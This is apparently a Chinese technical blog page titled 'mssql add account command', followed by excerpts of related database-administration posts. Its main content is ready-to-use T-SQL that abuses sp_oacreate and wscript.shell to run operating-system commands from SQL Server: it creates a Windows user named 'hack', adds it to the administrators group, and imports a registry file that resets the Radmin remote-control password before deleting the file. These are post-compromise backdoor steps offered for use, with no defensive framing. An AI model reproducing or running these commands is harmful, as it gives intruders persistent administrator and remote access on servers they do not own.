mssql 加帳號命令

2021-04-02 23:41:01 字數 1217 閱讀 3706

加nt帳號

declare @cmd int exec sp_oacreate 'wscript.shell',@cmd output exec sp_oamethod @cmd,'run',null,'net user hack hack /add','0','true'

declare @cmd int

exec sp_oacreate 'wscript.shell',@cmd output

exec sp_oamethod @cmd,'run',null,'net localgroup administrators hack /add','0','true'

修改rad密碼

declare @cmd int exec sp_oacreate 'wscript.shell',@cmd output exec sp_oamethod @cmd,'run',null,'cmd.exe /c echo windows registry editor version 5.00 > hack123.reg','0','true'

declare @cmd int exec sp_oacreate 'wscript.shell',@cmd output exec sp_oamethod @cmd,'run',null,'cmd.exe /c echo [hkey_local_machine/system/radmin/v2.0/server/parameters] >> hack123.reg','0','true'

declare @cmd int exec sp_oacreate 'wscript.shell',@cmd output exec sp_oamethod @cmd,'run',null,'cmd.exe /c echo "parameter"=hex:cf,c5,34,37,ad,b4,b7,63,5c,da,9f,d0,fc,61,f0,0b >> hack123.reg','0','true'

declare @cmd int exec sp_oacreate 'wscript.shell',@cmd output exec sp_oamethod @cmd,'run',null,'regedit /s hack123.reg','0','true'

declare @cmd int exec sp_oacreate 'wscript.shell',@cmd output exec sp_oamethod @cmd,'run',null,'cmd.exe /c del hack123.reg /f /q','0','true'

MS SQL帳號解鎖處理

ms sqlserver 2005 屬性islocked 不可用於登陸sa問題解決 使用查詢分析器執行下面的語句 alter login sa with password sa unlock,check policy off,check expiration off 關鍵字 密碼策略 在 windo...

MSSQL 常用命令

a 更改欄位型別長度 alter table 表 alter column 欄位名 型別的長度 varchar 60 例 把城市表的城市名欄位有原來的長度20改為30 alter table testcity alter column cityname varchar 30 b 更改欄位型別 alt...

MS SQL的ISQL命令詳解

ms sql有簡單方便又高效的管理介面,還用isql幹什麼?什麼是isql工具?isql是用於互動式執行transact sql語句和指令碼的資料庫工具,isql同 微軟的osql是差不多的工具。比如做一些高階的配置,還比如在客戶端或遠端執行資料庫操作等 工作時,isql是很方便的。比如入侵一臺有s...

ubuntu帳號和vi的常命令

一 遠端使用root帳戶,主要有些操作必須要有root許可權 sudo passwd root 此命令將會重新設定 root 的密碼,按照提示輸入新的密碼,並加以確認。之後,重啟系統時,就可以用 root 登入了。如果你想要禁用 root 帳號,則執行下列命令 sudo passwd l root ...

mssql刪除資料庫 刪除帳號錯誤解決方法

1.刪除資料庫或者恢復資料庫時,一定要先將資料庫離線,在執行刪除 恢復操作。sql 如下 1 使資料庫離線 2 alter database 資料庫名 set offline with rollback immediate34 5 使資料庫重新上線 6 alter database 資料庫名 set...